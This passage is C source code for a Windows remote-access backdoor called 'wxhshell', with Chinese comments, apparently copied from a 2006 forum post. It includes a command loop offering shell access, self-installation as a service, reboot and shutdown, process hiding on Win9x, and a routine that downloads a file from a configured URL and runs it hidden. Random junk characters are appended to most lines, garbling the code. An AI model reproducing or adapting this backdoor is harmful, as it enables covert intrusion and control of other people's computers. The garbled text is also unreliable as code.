  case '?': { M,9f}V)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *1b)Va8v*  
    break; m:{IVvN_  
  } h-:te9p6>4  
  // 安装 lxD~[e  
  case 'i': { )KD*G;<O]L  
    if(Install()) +dSO?Y]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >*goDtTjp  
    else vq JjAls  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0=KyupwXC  
    break; r5aOQ  
    } Sy`7})[  
  // 卸载 !@kwHJkv  
  case 'r': { _pKW($\  
    if(Uninstall()) 2:/'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2anx]QV4  
    else F)Yn1&a#H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sN 7I~  
    break; +vLuzM-  
    } 9 YU7R)  
  // 显示 wxhshell 所在路径 7 4aap2^  
  case 'p': { $[[6N0}*:  
    char svExeFile[MAX_PATH]; )AqM?FE4R  
    strcpy(svExeFile,"\n\r"); OtF{=7  
      strcat(svExeFile,ExeFile); r&xqsZ%R  
        send(wsh,svExeFile,strlen(svExeFile),0); Z.:5< oEKg  
    break; QO7 > XHn  
    } Yq#I# 2RD  
  // 重启 y^hpmTB3"  
  case 'b': { lVXgp'!#j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _jK\+Zf  
    if(Boot(REBOOT)) U{LDtn%@h6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m^O:k"+!  
    else { $ZXy&?4  
    closesocket(wsh); r[ ' T.yo  
    ExitThread(0); 0d:t$2~C  
    } ay'= M`uO_  
    break; [={pF q`  
    } Rmn|"ZK  
  // 关机 X!CLOHVA a  
  case 'd': { >;HbD p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b UAjt>+  
    if(Boot(SHUTDOWN)) LlRvm/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jY:(Tv3~  
    else { ,<|EoravH  
    closesocket(wsh); )dJM  
    ExitThread(0); Nt&}T  
    } R/b)hP ~  
    break; I4  Tc&b  
    } )wpBxJ;dB}  
  // 获取shell C\.?3  
  case 's': { ?;|$R   
    CmdShell(wsh); s:R>uGYOd  
    closesocket(wsh); :I F&W=?9  
    ExitThread(0); 1 xiq]~H  
    break; I\Y/*u  
  } sG0cN;I]t  
  // 退出 %6L!JN  
  case 'x': {  ~ceGx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gJ c5Y  
    CloseIt(wsh); mv SNKS  
    break; KHcf P7  
    } ^P:9iu)+]~  
  // 离开 `\q4z-<-  
  case 'q': { j"_V+)SD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p."pI Bd  
    closesocket(wsh); Zj~tUCc  
    WSACleanup(); (~}yt.7K  
    exit(1); 6VQ*z8wLw  
    break; =35EG{W(  
        } #TZYe4#f  
  } 8_Y{7;<ey  
  } 6O$OM  
MrLDe {^C2  
  // 提示信息 Y$Js5K@F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #g{ZfO[#  
} KTBsH;6  
  } [ #A!B#`  
AvEJX0"\df  
  return; JF%+T yMe  
} `8xe2=Ub  
}/(fe`7:  
// shell模块句柄 ?*4&Z.~J  
int CmdShell(SOCKET sock) YqR MVWcnk  
{ }3lM+]pf  
STARTUPINFO si; m {_\@'q  
ZeroMemory(&si,sizeof(si)); vay_QxB5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V{{b^y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wRnt$ 1  
PROCESS_INFORMATION ProcessInfo; e0j*e7$  
char cmdline[]="cmd"; !7AW_l9`i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [*vk&  
  return 0; B:qZh$YN  
} aMZ6C <N  
F{]dq/{  
// 自身启动模式 #2_phm'  
int StartFromService(void) c pgHF`nt  
{ ~6kEpa  
typedef struct R7ZxS  
{ !(uyqplTk  
  DWORD ExitStatus; )3'/g`c  
  DWORD PebBaseAddress; w;}P<K  
  DWORD AffinityMask; ztgSd8GGE  
  DWORD BasePriority; yew9bn0a=  
  ULONG UniqueProcessId; B\KvKT|\  
  ULONG InheritedFromUniqueProcessId; , YTuZS  
}   PROCESS_BASIC_INFORMATION; `Kpn@Xg  
Sw%=/g  
PROCNTQSIP NtQueryInformationProcess; opte)=]J  
}j+ZF'#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iZg v VH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BGLJ>zkq  
`cy_@Z5A  
  HANDLE             hProcess; +7^%fX;3pW  
  PROCESS_BASIC_INFORMATION pbi; =MB[v/M59w  
mAk)9`f/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >e=tem~/  
  if(NULL == hInst ) return 0; 6Nj\N oS  
iKLN !QR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BtVuI5*h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5mnIQ~psR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E2LpQNvN%g  
<[8at6;  
  if (!NtQueryInformationProcess) return 0; 'F5&f9 A  
8nt:peJ$+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #)GL%{Oa  
  if(!hProcess) return 0; ^7Z)/c`"  
\[B5j0vV,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &P&M6v+  
Zh{Pzyp  
  CloseHandle(hProcess); yJppPIW^  
dE.R$SM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); flVQG@  
if(hProcess==NULL) return 0; eqZ V/a  
c,!Ijn\;(  
HMODULE hMod; ]A5FN4 E  
char procName[255]; $*H_0wQc  
unsigned long cbNeeded; pLDseEr<  
{" Van,w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QyJ}zwD  
ucL}fnY1  
  CloseHandle(hProcess); .,o=#  
 J5*krH2i  
if(strstr(procName,"services")) return 1; // 以服务启动 ;R@zf1UYA  
sn@gchO9s  
  return 0; // 注册表启动 r[q-O&2&  
} QPg QM6  
O:{I9V-=>s  
// 主模块 k_ UY^vz.  
int StartWxhshell(LPSTR lpCmdLine) Ra%RcUf~sh  
{ [ZZ~^U5  
  SOCKET wsl; L1VUfEG-  
BOOL val=TRUE; Ha[Bf*  
  int port=0; brl(7_ 2  
  struct sockaddr_in door; r0+lH:G*q  
g`d5OHvO o  
  if(wscfg.ws_autoins) Install(); ]p\7s  
mHM38T9C%  
port=atoi(lpCmdLine); I ^?TabL  
z4HIDb  
if(port<=0) port=wscfg.ws_port; 58DkVQ6  
t:eZ`6o$T\  
  WSADATA data; 5@ %$M$E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |cEJRs@B  
n!2"pRIi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s{(aW5$!s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f7Y0L8D  
  door.sin_family = AF_INET; ZgP=maQk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s )POtJ<  
  door.sin_port = htons(port); "T=Z/@Vy  
 "_eHK#)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {pH{SRM)B  
closesocket(wsl); LBq~?Q.e  
return 1; IDQ@h`"B  
} d&BocJ  
`O?Kftv*  
  if(listen(wsl,2) == INVALID_SOCKET) { V7U&8UPb  
closesocket(wsl); "1FPe63\*O  
return 1; DzydS=`w  
} V7[6jW gH  
  Wxhshell(wsl); E (  
  WSACleanup(); J3fk3d`2  
= NHuj.  
return 0; /{>$E>N;  
cKJf0S:cx-  
} cXU8}>qY7  
w#vSZbh  
// 以NT服务方式启动 Zyt,D|eWj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *1"xvle  
{ 9 js!gJC  
DWORD   status = 0; e/Wrm^]y  
  DWORD   specificError = 0xfffffff; H .*:+  
f!%G{G^`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AFE6@/'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F0:|uC4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $\M<gW6  
  serviceStatus.dwWin32ExitCode     = 0;  J@sH(S  
  serviceStatus.dwServiceSpecificExitCode = 0; ;\ ^'}S|3Z  
  serviceStatus.dwCheckPoint       = 0; Dk8 O*B   
  serviceStatus.dwWaitHint       = 0; W; yNg  
"O{j}QwY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rH*1bDL  
  if (hServiceStatusHandle==0) return; 5b>-t#N,  
 yY_(o]k  
status = GetLastError(); XtY!fo *  
  if (status!=NO_ERROR) 1N6.r:wg)%  
{ h DpIwzJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7=i8$v&GX  
    serviceStatus.dwCheckPoint       = 0; YXz*B5R  
    serviceStatus.dwWaitHint       = 0; K.)ionb  
    serviceStatus.dwWin32ExitCode     = status; uu ahR  
    serviceStatus.dwServiceSpecificExitCode = specificError; jr[(g:L   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'D`O4TsP>  
    return; 8XJg  
  } j5Kw0Wy7  
ZByxC*Cz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Geyy!sr``  
  serviceStatus.dwCheckPoint       = 0; p7et>;WRx  
  serviceStatus.dwWaitHint       = 0; =1Nz* c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aF*KY<w  
} sB!#`kh  
L7i2is  
// 处理NT服务事件,比如:启动、停止 ;iT@41)7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v: \8  
{ 4/KGrY! ck  
switch(fdwControl) 4<V%7z_.B  
{ 3y^PKIIrt  
case SERVICE_CONTROL_STOP: %Ms"LoK  
  serviceStatus.dwWin32ExitCode = 0; X$*MxMNs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V"Cx5#\7C  
  serviceStatus.dwCheckPoint   = 0; ],`xd_=]=  
  serviceStatus.dwWaitHint     = 0; e&~vO| 3w%  
  { w`BY>Xft0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kny0 (  
  } eTg8I/ )%B  
  return; "/e_[_j  
case SERVICE_CONTROL_PAUSE: (LiS9|J!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :ohGG ,`Dh  
  break; a ?D]]0%  
case SERVICE_CONTROL_CONTINUE: zT<fTFJ1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I=aoP}_  
  break; 6/-]  
case SERVICE_CONTROL_INTERROGATE: h/oRWl0r  
  break; X0:V5 e  
}; sX8d8d`}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xir ERc.e  
} 8;PS>9<  
rA+UftC:p6  
// 标准应用程序主函数 SEfRU`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r]q;>\T'  
{ f^JiaU4 [  
5(wmy-x\  
// 获取操作系统版本 zM+4<k_dH]  
OsIsNt=GetOsVer(); LZ#=Ks  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pbCj ^  
{6 #Qm7s-  
  // 从命令行安装 -VZn`6%s  
  if(strpbrk(lpCmdLine,"iI")) Install(); DWv(|gO  
Lql2ry$Wa  
  // 下载执行文件 ^aG$9N<\  
if(wscfg.ws_downexe) { e p jb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7eNLs  
  WinExec(wscfg.ws_filenam,SW_HIDE); F u>  
} vYFtw L`  
@%lkRU)  
if(!OsIsNt) { gB _/(  
// 如果时win9x,隐藏进程并且设置为注册表启动 [T |P|\M  
HideProc(); N5PW]  
StartWxhshell(lpCmdLine); -L-#-dK'  
} 2[Ofa(mkkp  
else sKy3('5;  
  if(StartFromService()) <OH{7>V  
  // 以服务方式启动 WCTmf8f  
  StartServiceCtrlDispatcher(DispatchTable); e{Q;,jsh  
else ai7R@~O:_k  
  // 普通方式启动 "D\>oFu  
  StartWxhshell(lpCmdLine); - -fRhN>  
1d$qr`  
return 0; !hs33@*u~  
}
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只看该作者 1 发表于: 2006-10-10
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